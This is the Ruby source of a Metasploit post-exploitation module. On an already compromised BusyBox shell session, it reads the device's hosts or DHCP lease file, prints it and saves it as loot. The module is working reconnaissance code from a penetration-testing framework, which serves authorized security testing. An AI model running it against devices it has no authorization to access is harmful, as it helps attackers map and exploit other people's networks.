BusyBox Enumerate Host Names

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Post
  include Msf::Post::File
  include Msf::Post::Linux::BusyBox

  def initialize
    super(
      'Name' => 'BusyBox Enumerate Host Names',
      'Description' => %q{
        This module will be applied on a session connected to a BusyBox shell. It will enumerate
        host names related to the device executing BusyBox.
      },
      'Author' => 'Javier Vicente Vallejo',
      'License' => MSF_LICENSE,
      'Platform' => ['linux'],
      'SessionTypes' => ['shell']
    )
  end

  def run
    print_status('Searching hosts files...')
    if busy_box_file_exist?('/var/hosts')
      hosts_file = '/var/hosts'
    elsif busy_box_file_exist?('/var/udhcpd/udhcpd.leases')
      hosts_file = '/var/udhcpd/udhcpd.leases'
    else
      print_error('Files not found')
      return
    end

    read_hosts_file(hosts_file)
  end

  def read_hosts_file(file)
    str_file = read_file(file)
    print_good("Hosts file found: #{file}.")
    vprint_line(str_file)
    p = store_loot('busybox.enum.hosts', 'text/plain', session, str_file, file, 'BusyBox device host names')
    print_good("Hosts saved to #{p}.")
  rescue EOFError
    print_error("Nothing read from file: #{file}, file may be empty.")
  end
end